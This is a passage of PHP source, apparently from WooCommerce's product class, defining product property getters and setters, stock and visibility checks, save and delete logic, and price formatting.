get_tax_status( $context = 'view' ) { return $this->get_prop( 'tax_status', $context ); } /** * Returns the tax class. * * @param string $context What the value is for. Valid values are view and edit. * @return string */ public function get_tax_class( $context = 'view' ) { return $this->get_prop( 'tax_class', $context ); } /** * Return if product manage stock. * * @since 3.0.0 * @param string $context What the value is for. Valid values are view and edit. * @return boolean */ public function get_manage_stock( $context = 'view' ) { return $this->get_prop( 'manage_stock', $context ); } /** * Returns number of items available for sale. * * @param string $context What the value is for. Valid values are view and edit. * @return int|null */ public function get_stock_quantity( $context = 'view' ) { return $this->get_prop( 'stock_quantity', $context ); } /** * Return the stock status. * * @param string $context What the value is for. Valid values are view and edit. * @since 3.0.0 * @return string */ public function get_stock_status( $context = 'view' ) { return $this->get_prop( 'stock_status', $context ); } /** * Get backorders. * * @param string $context What the value is for. Valid values are view and edit. * @since 3.0.0 * @return string yes no or notify */ public function get_backorders( $context = 'view' ) { return $this->get_prop( 'backorders', $context ); } /** * Get low stock amount. * * @param string $context What the value is for. Valid values are view and edit. * @since 3.5.0 * @return int|string Returns empty string if value not set */ public function get_low_stock_amount( $context = 'view' ) { return $this->get_prop( 'low_stock_amount', $context ); } /** * Return if should be sold individually. * * @param string $context What the value is for. Valid values are view and edit. * @since 3.0.0 * @return boolean */ public function get_sold_individually( $context = 'view' ) { return $this->get_prop( 'sold_individually', $context ); } /** * Returns the product's weight. * * @param string $context What the value is for. Valid values are view and edit. * @return string */ public function get_weight( $context = 'view' ) { return $this->get_prop( 'weight', $context ); } /** * Returns the product length. * * @param string $context What the value is for. Valid values are view and edit. * @return string */ public function get_length( $context = 'view' ) { return $this->get_prop( 'length', $context ); } /** * Returns the product width. * * @param string $context What the value is for. Valid values are view and edit. * @return string */ public function get_width( $context = 'view' ) { return $this->get_prop( 'width', $context ); } /** * Returns the product height. * * @param string $context What the value is for. Valid values are view and edit. * @return string */ public function get_height( $context = 'view' ) { return $this->get_prop( 'height', $context ); } /** * Returns formatted dimensions. * * @param bool $formatted True by default for legacy support - will be false/not set in future versions to return the array only. Use wc_format_dimensions for formatted versions instead. * @return string|array */ public function get_dimensions( $formatted = true ) { if ( $formatted ) { wc_deprecated_argument( 'WC_Product::get_dimensions', '3.0', 'By default, get_dimensions has an argument set to true so that HTML is returned. This is to support the legacy version of the method. To get HTML dimensions, instead use wc_format_dimensions() function. Pass false to this method to return an array of dimensions. This will be the new default behavior in future versions.' ); return apply_filters( 'woocommerce_product_dimensions', wc_format_dimensions( $this->get_dimensions( false ) ), $this ); } return array( 'length' => $this->get_length(), 'width' => $this->get_width(), 'height' => $this->get_height(), ); } /** * Get upsell IDs. * * @since 3.0.0 * @param string $context What the value is for. Valid values are view and edit. * @return array */ public function get_upsell_ids( $context = 'view' ) { return $this->get_prop( 'upsell_ids', $context ); } /** * Get cross sell IDs. * * @since 3.0.0 * @param string $context What the value is for. Valid values are view and edit. * @return array */ public function get_cross_sell_ids( $context = 'view' ) { return $this->get_prop( 'cross_sell_ids', $context ); } /** * Get parent ID. * * @since 3.0.0 * @param string $context What the value is for. Valid values are view and edit. * @return int */ public function get_parent_id( $context = 'view' ) { return $this->get_prop( 'parent_id', $context ); } /** * Return if reviews is allowed. * * @since 3.0.0 * @param string $context What the value is for. Valid values are view and edit. * @return bool */ public function get_reviews_allowed( $context = 'view' ) { return $this->get_prop( 'reviews_allowed', $context ); } /** * Get purchase note. * * @since 3.0.0 * @param string $context What the value is for. Valid values are view and edit. * @return string */ public function get_purchase_note( $context = 'view' ) { return $this->get_prop( 'purchase_note', $context ); } /** * Returns product attributes. * * @param string $context What the value is for. Valid values are view and edit. * @return array */ public function get_attributes( $context = 'view' ) { return $this->get_prop( 'attributes', $context ); } /** * Get default attributes. * * @since 3.0.0 * @param string $context What the value is for. Valid values are view and edit. * @return array */ public function get_default_attributes( $context = 'view' ) { return $this->get_prop( 'default_attributes', $context ); } /** * Get menu order. * * @since 3.0.0 * @param string $context What the value is for. Valid values are view and edit. * @return int */ public function get_menu_order( $context = 'view' ) { return $this->get_prop( 'menu_order', $context ); } /** * Get post password. * * @since 3.6.0 * @param string $context What the value is for. Valid values are view and edit. * @return int */ public function get_post_password( $context = 'view' ) { return $this->get_prop( 'post_password', $context ); } /** * Get category ids. * * @since 3.0.0 * @param string $context What the value is for. Valid values are view and edit. * @return array */ public function get_category_ids( $context = 'view' ) { return $this->get_prop( 'category_ids', $context ); } /** * Get tag ids. * * @since 3.0.0 * @param string $context What the value is for. Valid values are view and edit. * @return array */ public function get_tag_ids( $context = 'view' ) { return $this->get_prop( 'tag_ids', $context ); } /** * Get virtual. * * @since 3.0.0 * @param string $context What the value is for. Valid values are view and edit. * @return bool */ public function get_virtual( $context = 'view' ) { return $this->get_prop( 'virtual', $context ); } /** * Returns the gallery attachment ids. * * @param string $context What the value is for. Valid values are view and edit. * @return array */ public function get_gallery_image_ids( $context = 'view' ) { return $this->get_prop( 'gallery_image_ids', $context ); } /** * Get shipping class ID. * * @since 3.0.0 * @param string $context What the value is for. Valid values are view and edit. * @return int */ public function get_shipping_class_id( $context = 'view' ) { return $this->get_prop( 'shipping_class_id', $context ); } /** * Get downloads. * * @since 3.0.0 * @param string $context What the value is for. Valid values are view and edit. * @return array */ public function get_downloads( $context = 'view' ) { return $this->get_prop( 'downloads', $context ); } /** * Get download expiry. * * @since 3.0.0 * @param string $context What the value is for. Valid values are view and edit. * @return int */ public function get_download_expiry( $context = 'view' ) { return $this->get_prop( 'download_expiry', $context ); } /** * Get downloadable. * * @since 3.0.0 * @param string $context What the value is for. Valid values are view and edit. * @return bool */ public function get_downloadable( $context = 'view' ) { return $this->get_prop( 'downloadable', $context ); } /** * Get download limit. * * @since 3.0.0 * @param string $context What the value is for. Valid values are view and edit. * @return int */ public function get_download_limit( $context = 'view' ) { return $this->get_prop( 'download_limit', $context ); } /** * Get main image ID. * * @since 3.0.0 * @param string $context What the value is for. Valid values are view and edit. * @return string */ public function get_image_id( $context = 'view' ) { return $this->get_prop( 'image_id', $context ); } /** * Get rating count. * * @param string $context What the value is for. Valid values are view and edit. * @return array of counts */ public function get_rating_counts( $context = 'view' ) { return $this->get_prop( 'rating_counts', $context ); } /** * Get average rating. * * @param string $context What the value is for. Valid values are view and edit. * @return float */ public function get_average_rating( $context = 'view' ) { return $this->get_prop( 'average_rating', $context ); } /** * Get review count. * * @param string $context What the value is for. Valid values are view and edit. * @return int */ public function get_review_count( $context = 'view' ) { return $this->get_prop( 'review_count', $context ); } /* |-------------------------------------------------------------------------- | Setters |-------------------------------------------------------------------------- | | Functions for setting product data. These should not update anything in the | database itself and should only change what is stored in the class | object. */ /** * Set product name. * * @since 3.0.0 * @param string $name Product name. */ public function set_name( $name ) { $this->set_prop( 'name', $name ); } /** * Set product slug. * * @since 3.0.0 * @param string $slug Product slug. */ public function set_slug( $slug ) { $this->set_prop( 'slug', $slug ); } /** * Set product created date. * * @since 3.0.0 * @param string|integer|null $date UTC timestamp, or ISO 8601 DateTime. If the DateTime string has no timezone or offset, WordPress site timezone will be assumed. Null if their is no date. */ public function set_date_created( $date = null ) { $this->set_date_prop( 'date_created', $date ); } /** * Set product modified date. * * @since 3.0.0 * @param string|integer|null $date UTC timestamp, or ISO 8601 DateTime. If the DateTime string has no timezone or offset, WordPress site timezone will be assumed. Null if their is no date. */ public function set_date_modified( $date = null ) { $this->set_date_prop( 'date_modified', $date ); } /** * Set product status. * * @since 3.0.0 * @param string $status Product status. */ public function set_status( $status ) { $this->set_prop( 'status', $status ); } /** * Set if the product is featured. * * @since 3.0.0 * @param bool|string $featured Whether the product is featured or not. */ public function set_featured( $featured ) { $this->set_prop( 'featured', wc_string_to_bool( $featured ) ); } /** * Set catalog visibility. * * @since 3.0.0 * @throws WC_Data_Exception Throws exception when invalid data is found. * @param string $visibility Options: 'hidden', 'visible', 'search' and 'catalog'. */ public function set_catalog_visibility( $visibility ) { $options = array_keys( wc_get_product_visibility_options() ); if ( ! in_array( $visibility, $options, true ) ) { $this->error( 'product_invalid_catalog_visibility', __( 'Invalid catalog visibility option.', 'woocommerce' ) ); } $this->set_prop( 'catalog_visibility', $visibility ); } /** * Set product description. * * @since 3.0.0 * @param string $description Product description. */ public function set_description( $description ) { $this->set_prop( 'description', $description ); } /** * Set product short description. * * @since 3.0.0 * @param string $short_description Product short description. */ public function set_short_description( $short_description ) { $this->set_prop( 'short_description', $short_description ); } /** * Set SKU. * * @since 3.0.0 * @throws WC_Data_Exception Throws exception when invalid data is found. * @param string $sku Product SKU. */ public function set_sku( $sku ) { $sku = (string) $sku; if ( $this->get_object_read() && ! empty( $sku ) && ! wc_product_has_unique_sku( $this->get_id(), $sku ) ) { $sku_found = wc_get_product_id_by_sku( $sku ); $this->error( 'product_invalid_sku', __( 'Invalid or duplicated SKU.', 'woocommerce' ), 400, array( 'resource_id' => $sku_found ) ); } $this->set_prop( 'sku', $sku ); } /** * Set the product's active price. * * @param string $price Price. */ public function set_price( $price ) { $this->set_prop( 'price', wc_format_decimal( $price ) ); } /** * Set the product's regular price. * * @since 3.0.0 * @param string $price Regular price. */ public function set_regular_price( $price ) { $this->set_prop( 'regular_price', wc_format_decimal( $price ) ); } /** * Set the product's sale price. * * @since 3.0.0 * @param string $price sale price. */ public function set_sale_price( $price ) { $this->set_prop( 'sale_price', wc_format_decimal( $price ) ); } /** * Set date on sale from. * * @since 3.0.0 * @param string|integer|null $date UTC timestamp, or ISO 8601 DateTime. If the DateTime string has no timezone or offset, WordPress site timezone will be assumed. Null if their is no date. */ public function set_date_on_sale_from( $date = null ) { $this->set_date_prop( 'date_on_sale_from', $date ); } /** * Set date on sale to. * * @since 3.0.0 * @param string|integer|null $date UTC timestamp, or ISO 8601 DateTime. If the DateTime string has no timezone or offset, WordPress site timezone will be assumed. Null if their is no date. */ public function set_date_on_sale_to( $date = null ) { $this->set_date_prop( 'date_on_sale_to', $date ); } /** * Set number total of sales. * * @since 3.0.0 * @param int $total Total of sales. */ public function set_total_sales( $total ) { $this->set_prop( 'total_sales', absint( $total ) ); } /** * Set the tax status. * * @since 3.0.0 * @throws WC_Data_Exception Throws exception when invalid data is found. * @param string $status Tax status. */ public function set_tax_status( $status ) { $options = array( 'taxable', 'shipping', 'none', ); // Set default if empty. if ( empty( $status ) ) { $status = 'taxable'; } if ( ! in_array( $status, $options, true ) ) { $this->error( 'product_invalid_tax_status', __( 'Invalid product tax status.', 'woocommerce' ) ); } $this->set_prop( 'tax_status', $status ); } /** * Set the tax class. * * @since 3.0.0 * @param string $class Tax class. */ public function set_tax_class( $class ) { $class = sanitize_title( $class ); $class = 'standard' === $class ? '' : $class; $valid_classes = $this->get_valid_tax_classes(); if ( ! in_array( $class, $valid_classes, true ) ) { $class = ''; } $this->set_prop( 'tax_class', $class ); } /** * Return an array of valid tax classes * * @return array valid tax classes */ protected function get_valid_tax_classes() { return WC_Tax::get_tax_class_slugs(); } /** * Set if product manage stock. * * @since 3.0.0 * @param bool $manage_stock Whether or not manage stock is enabled. */ public function set_manage_stock( $manage_stock ) { $this->set_prop( 'manage_stock', wc_string_to_bool( $manage_stock ) ); } /** * Set number of items available for sale. * * @since 3.0.0 * @param float|null $quantity Stock quantity. */ public function set_stock_quantity( $quantity ) { $this->set_prop( 'stock_quantity', '' !== $quantity ? wc_stock_amount( $quantity ) : null ); } /** * Set stock status. * * @param string $status New status. */ public function set_stock_status( $status = 'instock' ) { $valid_statuses = wc_get_product_stock_status_options(); if ( isset( $valid_statuses[ $status ] ) ) { $this->set_prop( 'stock_status', $status ); } else { $this->set_prop( 'stock_status', 'instock' ); } } /** * Set backorders. * * @since 3.0.0 * @param string $backorders Options: 'yes', 'no' or 'notify'. */ public function set_backorders( $backorders ) { $this->set_prop( 'backorders', $backorders ); } /** * Set low stock amount. * * @param int|string $amount Empty string if value not set. * @since 3.5.0 */ public function set_low_stock_amount( $amount ) { $this->set_prop( 'low_stock_amount', '' === $amount ? '' : absint( $amount ) ); } /** * Set if should be sold individually. * * @since 3.0.0 * @param bool $sold_individually Whether or not product is sold individually. */ public function set_sold_individually( $sold_individually ) { $this->set_prop( 'sold_individually', wc_string_to_bool( $sold_individually ) ); } /** * Set the product's weight. * * @since 3.0.0 * @param float|string $weight Total weight. */ public function set_weight( $weight ) { $this->set_prop( 'weight', '' === $weight ? '' : wc_format_decimal( $weight ) ); } /** * Set the product length. * * @since 3.0.0 * @param float|string $length Total length. */ public function set_length( $length ) { $this->set_prop( 'length', '' === $length ? '' : wc_format_decimal( $length ) ); } /** * Set the product width. * * @since 3.0.0 * @param float|string $width Total width. */ public function set_width( $width ) { $this->set_prop( 'width', '' === $width ? '' : wc_format_decimal( $width ) ); } /** * Set the product height. * * @since 3.0.0 * @param float|string $height Total height. */ public function set_height( $height ) { $this->set_prop( 'height', '' === $height ? '' : wc_format_decimal( $height ) ); } /** * Set upsell IDs. * * @since 3.0.0 * @param array $upsell_ids IDs from the up-sell products. */ public function set_upsell_ids( $upsell_ids ) { $this->set_prop( 'upsell_ids', array_filter( (array) $upsell_ids ) ); } /** * Set crosssell IDs. * * @since 3.0.0 * @param array $cross_sell_ids IDs from the cross-sell products. */ public function set_cross_sell_ids( $cross_sell_ids ) { $this->set_prop( 'cross_sell_ids', array_filter( (array) $cross_sell_ids ) ); } /** * Set parent ID. * * @since 3.0.0 * @param int $parent_id Product parent ID. */ public function set_parent_id( $parent_id ) { $this->set_prop( 'parent_id', absint( $parent_id ) ); } /** * Set if reviews is allowed. * * @since 3.0.0 * @param bool $reviews_allowed Reviews allowed or not. */ public function set_reviews_allowed( $reviews_allowed ) { $this->set_prop( 'reviews_allowed', wc_string_to_bool( $reviews_allowed ) ); } /** * Set purchase note. * * @since 3.0.0 * @param string $purchase_note Purchase note. */ public function set_purchase_note( $purchase_note ) { $this->set_prop( 'purchase_note', $purchase_note ); } /** * Set product attributes. * * Attributes are made up of: * id - 0 for product level attributes. ID for global attributes. * name - Attribute name. * options - attribute value or array of term ids/names. * position - integer sort order. * visible - If visible on frontend. * variation - If used for variations. * Indexed by unqiue key to allow clearing old ones after a set. * * @since 3.0.0 * @param array $raw_attributes Array of WC_Product_Attribute objects. */ public function set_attributes( $raw_attributes ) { $attributes = array_fill_keys( array_keys( $this->get_attributes( 'edit' ) ), null ); foreach ( $raw_attributes as $attribute ) { if ( is_a( $attribute, 'WC_Product_Attribute' ) ) { $attributes[ sanitize_title( $attribute->get_name() ) ] = $attribute; } } uasort( $attributes, 'wc_product_attribute_uasort_comparison' ); $this->set_prop( 'attributes', $attributes ); } /** * Set default attributes. These will be saved as strings and should map to attribute values. * * @since 3.0.0 * @param array $default_attributes List of default attributes. */ public function set_default_attributes( $default_attributes ) { $this->set_prop( 'default_attributes', array_map( 'strval', array_filter( (array) $default_attributes, 'wc_array_filter_default_attributes' ) ) ); } /** * Set menu order. * * @since 3.0.0 * @param int $menu_order Menu order. */ public function set_menu_order( $menu_order ) { $this->set_prop( 'menu_order', intval( $menu_order ) ); } /** * Set post password. * * @since 3.6.0 * @param int $post_password Post password. */ public function set_post_password( $post_password ) { $this->set_prop( 'post_password', $post_password ); } /** * Set the product categories. * * @since 3.0.0 * @param array $term_ids List of terms IDs. */ public function set_category_ids( $term_ids ) { $this->set_prop( 'category_ids', array_unique( array_map( 'intval', $term_ids ) ) ); } /** * Set the product tags. * * @since 3.0.0 * @param array $term_ids List of terms IDs. */ public function set_tag_ids( $term_ids ) { $this->set_prop( 'tag_ids', array_unique( array_map( 'intval', $term_ids ) ) ); } /** * Set if the product is virtual. * * @since 3.0.0 * @param bool|string $virtual Whether product is virtual or not. */ public function set_virtual( $virtual ) { $this->set_prop( 'virtual', wc_string_to_bool( $virtual ) ); } /** * Set shipping class ID. * * @since 3.0.0 * @param int $id Product shipping class id. */ public function set_shipping_class_id( $id ) { $this->set_prop( 'shipping_class_id', absint( $id ) ); } /** * Set if the product is downloadable. * * @since 3.0.0 * @param bool|string $downloadable Whether product is downloadable or not. */ public function set_downloadable( $downloadable ) { $this->set_prop( 'downloadable', wc_string_to_bool( $downloadable ) ); } /** * Set downloads. * * @throws WC_Data_Exception If an error relating to one of the downloads is encountered. * * @param array $downloads_array Array of WC_Product_Download objects or arrays. * * @since 3.0.0 */ public function set_downloads( $downloads_array ) { // When the object is first hydrated, only the previously persisted downloads will be passed in. $existing_downloads = $this->get_object_read() ? (array) $this->get_prop( 'downloads' ) : $downloads_array; $downloads = array(); $errors = array(); $downloads_array = $this->build_downloads_map( $downloads_array ); $existing_downloads = $this->build_downloads_map( $existing_downloads ); foreach ( $downloads_array as $download ) { $download_id = $download->get_id(); $is_new = ! isset( $existing_downloads[ $download_id ] ); $has_changed = ! $is_new && $existing_downloads[ $download_id ]->get_file() !== $downloads_array[ $download_id ]->get_file(); try { $download->check_is_valid( $this->get_object_read() ); $downloads[ $download_id ] = $download; } catch ( Exception $e ) { // We only add error messages for newly added downloads (let's not overwhelm the user if there are // multiple existing files which are problematic). if ( $is_new || $has_changed ) { $errors[] = $e->getMessage(); } // If the problem is with an existing download, disable it. if ( ! $is_new ) { $download->set_enabled( false ); $downloads[ $download_id ] = $download; } } } $this->set_prop( 'downloads', $downloads ); if ( $errors && $this->get_object_read() ) { $this->error( 'product_invalid_download', $errors[0] ); } } /** * Takes an array of downloadable file representations and converts it into an array of * WC_Product_Download objects, indexed by download ID. * * @param array[]|WC_Product_Download[] $downloads Download data to be re-mapped. * * @return WC_Product_Download[] */ private function build_downloads_map( array $downloads ): array { $downloads_map = array(); foreach ( $downloads as $download_data ) { // If the item is already a WC_Product_Download we can add it to the map and move on. if ( is_a( $download_data, 'WC_Product_Download' ) ) { $downloads_map[ $download_data->get_id() ] = $download_data; continue; } // If the item is not an array, there is nothing else we can do (bad data). if ( ! is_array( $download_data ) ) { continue; } // Otherwise, transform the array to a WC_Product_Download and add to the map. $download_object = new WC_Product_Download(); // If we don't have a previous hash, generate UUID for download. if ( empty( $download_data['download_id'] ) ) { $download_data['download_id'] = wp_generate_uuid4(); } $download_object->set_id( $download_data['download_id'] ); $download_object->set_name( $download_data['name'] ); $download_object->set_file( $download_data['file'] ); $download_object->set_enabled( isset( $download_data['enabled'] ) ? $download_data['enabled'] : true ); $downloads_map[ $download_object->get_id() ] = $download_object; } return $downloads_map; } /** * Set download limit. * * @since 3.0.0 * @param int|string $download_limit Product download limit. */ public function set_download_limit( $download_limit ) { $this->set_prop( 'download_limit', -1 === (int) $download_limit || '' === $download_limit ? -1 : absint( $download_limit ) ); } /** * Set download expiry. * * @since 3.0.0 * @param int|string $download_expiry Product download expiry. */ public function set_download_expiry( $download_expiry ) { $this->set_prop( 'download_expiry', -1 === (int) $download_expiry || '' === $download_expiry ? -1 : absint( $download_expiry ) ); } /** * Set gallery attachment ids. * * @since 3.0.0 * @param array $image_ids List of image ids. */ public function set_gallery_image_ids( $image_ids ) { $image_ids = wp_parse_id_list( $image_ids ); $this->set_prop( 'gallery_image_ids', $image_ids ); } /** * Set main image ID. * * @since 3.0.0 * @param int|string $image_id Product image id. */ public function set_image_id( $image_id = '' ) { $this->set_prop( 'image_id', $image_id ); } /** * Set rating counts. Read only. * * @param array $counts Product rating counts. */ public function set_rating_counts( $counts ) { $this->set_prop( 'rating_counts', array_filter( array_map( 'absint', (array) $counts ) ) ); } /** * Set average rating. Read only. * * @param float $average Product average rating. */ public function set_average_rating( $average ) { $this->set_prop( 'average_rating', wc_format_decimal( $average ) ); } /** * Set review count. Read only. * * @param int $count Product review count. */ public function set_review_count( $count ) { $this->set_prop( 'review_count', absint( $count ) ); } /* |-------------------------------------------------------------------------- | Other Methods |-------------------------------------------------------------------------- */ /** * Ensure properties are set correctly before save. * * @since 3.0.0 */ public function validate_props() { // Before updating, ensure stock props are all aligned. Qty, backorders and low stock amount are not needed if not stock managed. if ( ! $this->get_manage_stock() ) { $this->set_stock_quantity( '' ); $this->set_backorders( 'no' ); $this->set_low_stock_amount( '' ); return; } $stock_is_above_notification_threshold = ( $this->get_stock_quantity() > get_option( 'woocommerce_notify_no_stock_amount', 0 ) ); $backorders_are_allowed = ( 'no' !== $this->get_backorders() ); if ( $stock_is_above_notification_threshold ) { $new_stock_status = 'instock'; } elseif ( $backorders_are_allowed ) { $new_stock_status = 'onbackorder'; } else { $new_stock_status = 'outofstock'; } $this->set_stock_status( $new_stock_status ); } /** * Save data (either create or update depending on if we are working on an existing product). * * @since 3.0.0 * @return int */ public function save() { $this->validate_props(); if ( ! $this->data_store ) { return $this->get_id(); } /** * Trigger action before saving to the DB. Allows you to adjust object props before save. * * @param WC_Data $this The object being saved. * @param WC_Data_Store_WP $data_store THe data store persisting the data. */ do_action( 'woocommerce_before_' . $this->object_type . '_object_save', $this, $this->data_store ); $state = $this->before_data_store_save_or_update(); if ( $this->get_id() ) { $changeset = $this->get_changes(); $this->data_store->update( $this ); } else { $changeset = null; $this->data_store->create( $this ); } $this->after_data_store_save_or_update( $state ); // Update attributes lookup table if the product is new OR it's not but there are actually any changes. if ( is_null( $changeset ) || ! empty( $changeset ) ) { wc_get_container()->get( ProductAttributesLookupDataStore::class )->on_product_changed( $this, $changeset ); } /** * Trigger action after saving to the DB. * * @param WC_Data $this The object being saved. * @param WC_Data_Store_WP $data_store THe data store persisting the data. */ do_action( 'woocommerce_after_' . $this->object_type . '_object_save', $this, $this->data_store ); return $this->get_id(); } /** * Do any extra processing needed before the actual product save * (but after triggering the 'woocommerce_before_..._object_save' action) * * @return mixed A state value that will be passed to after_data_store_save_or_update. */ protected function before_data_store_save_or_update() { } /** * Do any extra processing needed after the actual product save * (but before triggering the 'woocommerce_after_..._object_save' action) * * @param mixed $state The state object that was returned by before_data_store_save_or_update. */ protected function after_data_store_save_or_update( $state ) { $this->maybe_defer_product_sync(); } /** * Delete the product, set its ID to 0, and return result. * * @param bool $force_delete Should the product be deleted permanently. * @return bool result */ public function delete( $force_delete = false ) { $product_id = $this->get_id(); $deleted = parent::delete( $force_delete ); if ( $deleted ) { $this->maybe_defer_product_sync(); wc_get_container()->get( ProductAttributesLookupDataStore::class )->on_product_deleted( $product_id ); } return $deleted; } /** * If this is a child product, queue its parent for syncing at the end of the request. */ protected function maybe_defer_product_sync() { $parent_id = $this->get_parent_id(); if ( $parent_id ) { wc_deferred_product_sync( $parent_id ); } } /* |-------------------------------------------------------------------------- | Conditionals |-------------------------------------------------------------------------- */ /** * Check if a product supports a given feature. * * Product classes should override this to declare support (or lack of support) for a feature. * * @param string $feature string The name of a feature to test support for. * @return bool True if the product supports the feature, false otherwise. * @since 2.5.0 */ public function supports( $feature ) { return apply_filters( 'woocommerce_product_supports', in_array( $feature, $this->supports, true ), $feature, $this ); } /** * Returns whether or not the product post exists. * * @return bool */ public function exists() { return false !== $this->get_status(); } /** * Checks the product type. * * Backwards compatibility with downloadable/virtual. * * @param string|array $type Array or string of types. * @return bool */ public function is_type( $type ) { return ( $this->get_type() === $type || ( is_array( $type ) && in_array( $this->get_type(), $type, true ) ) ); } /** * Checks if a product is downloadable. * * @return bool */ public function is_downloadable() { return apply_filters( 'woocommerce_is_downloadable', true === $this->get_downloadable(), $this ); } /** * Checks if a product is virtual (has no shipping). * * @return bool */ public function is_virtual() { return apply_filters( 'woocommerce_is_virtual', true === $this->get_virtual(), $this ); } /** * Returns whether or not the product is featured. * * @return bool */ public function is_featured() { return true === $this->get_featured(); } /** * Check if a product is sold individually (no quantities). * * @return bool */ public function is_sold_individually() { return apply_filters( 'woocommerce_is_sold_individually', true === $this->get_sold_individually(), $this ); } /** * Returns whether or not the product is visible in the catalog. * * @return bool */ public function is_visible() { $visible = $this->is_visible_core(); return apply_filters( 'woocommerce_product_is_visible', $visible, $this->get_id() ); } /** * Returns whether or not the product is visible in the catalog (doesn't trigger filters). * * @return bool */ protected function is_visible_core() { $visible = 'visible' === $this->get_catalog_visibility() || ( is_search() && 'search' === $this->get_catalog_visibility() ) || ( ! is_search() && 'catalog' === $this->get_catalog_visibility() ); if ( 'trash' === $this->get_status() ) { $visible = false; } elseif ( 'publish' !== $this->get_status() && ! current_user_can( 'edit_post', $this->get_id() ) ) { $visible = false; } if ( $this->get_parent_id() ) { $parent_product = wc_get_product( $this->get_parent_id() ); if ( $parent_product && 'publish' !== $parent_product->get_status() ) { $visible = false; } } if ( 'yes' === get_option( 'woocommerce_hide_out_of_stock_items' ) && ! $this->is_in_stock() ) { $visible = false; } return $visible; } /** * Returns false if the product cannot be bought. * * @return bool */ public function is_purchasable() { return apply_filters( 'woocommerce_is_purchasable', $this->exists() && ( 'publish' === $this->get_status() || current_user_can( 'edit_post', $this->get_id() ) ) && '' !== $this->get_price(), $this ); } /** * Returns whether or not the product is on sale. * * @param string $context What the value is for. Valid values are view and edit. * @return bool */ public function is_on_sale( $context = 'view' ) { if ( '' !== (string) $this->get_sale_price( $context ) && $this->get_regular_price( $context ) > $this->get_sale_price( $context ) ) { $on_sale = true; if ( $this->get_date_on_sale_from( $context ) && $this->get_date_on_sale_from( $context )->getTimestamp() > time() ) { $on_sale = false; } if ( $this->get_date_on_sale_to( $context ) && $this->get_date_on_sale_to( $context )->getTimestamp() < time() ) { $on_sale = false; } } else { $on_sale = false; } return 'view' === $context ? apply_filters( 'woocommerce_product_is_on_sale', $on_sale, $this ) : $on_sale; } /** * Returns whether or not the product has dimensions set. * * @return bool */ public function has_dimensions() { return ( $this->get_length() || $this->get_height() || $this->get_width() ) && ! $this->get_virtual(); } /** * Returns whether or not the product has weight set. * * @return bool */ public function has_weight() { return $this->get_weight() && ! $this->get_virtual(); } /** * Returns whether or not the product can be purchased. * This returns true for 'instock' and 'onbackorder' stock statuses. * * @return bool */ public function is_in_stock() { return apply_filters( 'woocommerce_product_is_in_stock', 'outofstock' !== $this->get_stock_status(), $this ); } /** * Checks if a product needs shipping. * * @return bool */ public function needs_shipping() { return apply_filters( 'woocommerce_product_needs_shipping', ! $this->is_virtual(), $this ); } /** * Returns whether or not the product is taxable. * * @return bool */ public function is_taxable() { return apply_filters( 'woocommerce_product_is_taxable', $this->get_tax_status() === 'taxable' && wc_tax_enabled(), $this ); } /** * Returns whether or not the product shipping is taxable. * * @return bool */ public function is_shipping_taxable() { return $this->needs_shipping() && ( $this->get_tax_status() === 'taxable' || $this->get_tax_status() === 'shipping' ); } /** * Returns whether or not the product is stock managed. * * @return bool */ public function managing_stock() { if ( 'yes' === get_option( 'woocommerce_manage_stock' ) ) { return $this->get_manage_stock(); } return false; } /** * Returns whether or not the product can be backordered. * * @return bool */ public function backorders_allowed() { return apply_filters( 'woocommerce_product_backorders_allowed', ( 'yes' === $this->get_backorders() || 'notify' === $this->get_backorders() ), $this->get_id(), $this ); } /** * Returns whether or not the product needs to notify the customer on backorder. * * @return bool */ public function backorders_require_notification() { return apply_filters( 'woocommerce_product_backorders_require_notification', ( $this->managing_stock() && 'notify' === $this->get_backorders() ), $this ); } /** * Check if a product is on backorder. * * @param int $qty_in_cart (default: 0). * @return bool */ public function is_on_backorder( $qty_in_cart = 0 ) { if ( 'onbackorder' === $this->get_stock_status() ) { return true; } return $this->managing_stock() && $this->backorders_allowed() && ( $this->get_stock_quantity() - $qty_in_cart ) < 0; } /** * Returns whether or not the product has enough stock for the order. * * @param mixed $quantity Quantity of a product added to an order. * @return bool */ public function has_enough_stock( $quantity ) { return ! $this->managing_stock() || $this->backorders_allowed() || $this->get_stock_quantity() >= $quantity; } /** * Returns whether or not the product has any visible attributes. * * @return boolean */ public function has_attributes() { foreach ( $this->get_attributes() as $attribute ) { if ( $attribute->get_visible() ) { return true; } } return false; } /** * Returns whether or not the product has any child product. * * @return bool */ public function has_child() { return 0 < count( $this->get_children() ); } /** * Does a child have dimensions? * * @since 3.0.0 * @return bool */ public function child_has_dimensions() { return false; } /** * Does a child have a weight? * * @since 3.0.0 * @return boolean */ public function child_has_weight() { return false; } /** * Check if downloadable product has a file attached. * * @since 1.6.2 * * @param string $download_id file identifier. * @return bool Whether downloadable product has a file attached. */ public function has_file( $download_id = '' ) { return $this->is_downloadable() && $this->get_file( $download_id ); } /** * Returns whether or not the product has additional options that need * selecting before adding to cart. * * @since 3.0.0 * @return boolean */ public function has_options() { return apply_filters( 'woocommerce_product_has_options', false, $this ); } /* |-------------------------------------------------------------------------- | Non-CRUD Getters |-------------------------------------------------------------------------- */ /** * Get the product's title. For products this is the product name. * * @return string */ public function get_title() { return apply_filters( 'woocommerce_product_title', $this->get_name(), $this ); } /** * Product permalink. * * @return string */ public function get_permalink() { return get_permalink( $this->get_id() ); } /** * Returns the children IDs if applicable. Overridden by child classes. * * @return array of IDs */ public function get_children() { return array(); } /** * If the stock level comes from another product ID, this should be modified. * * @since 3.0.0 * @return int */ public function get_stock_managed_by_id() { return $this->get_id(); } /** * Returns the price in html format. * * @param string $deprecated Deprecated param. * * @return string */ public function get_price_html( $deprecated = '' ) { if ( '' === $this->get_price() ) { $price = apply_filters( 'woocommerce_empty_price_html', '', $this ); } elseif ( $this->is_on_sale() ) { $price = wc_format_sale_price( wc_get_price_to_display( $this, array( 'price' => $this->get_regular_price() ) ), wc_get_price_to_display( $this ) ) . $this->get_price_suffix(); } else { $price = wc_price( wc_get_price_to_display( $this ) ) . $this->get_price_suffix(); } return apply_filters( 'woocommerce_get_price_html', $price, $this ); } /** * Get product name with SKU or ID. Used within admin. * * @return string Formatted product name */ public function get_formatted_name() { if ( $this->get_sku() ) { $identifier = $this->get_sku(); } else { $identifier = '#' . $this->get_id(); } return sprintf( '%2$s (%1$s)', $identifier, $this->get_name() ); } /** * Get min quantity which can be purchased at once. * * @since 3.0.0 * @return int */ public function get_min_purchase_quantity() { return 1; } /** * Get max quantity which can be purchased at once. * * @since 3.0.0 * @return int Quantity or -1 if unlimited. */ public function get_max_purchase_quantity() { return $this->is_sold_individually() 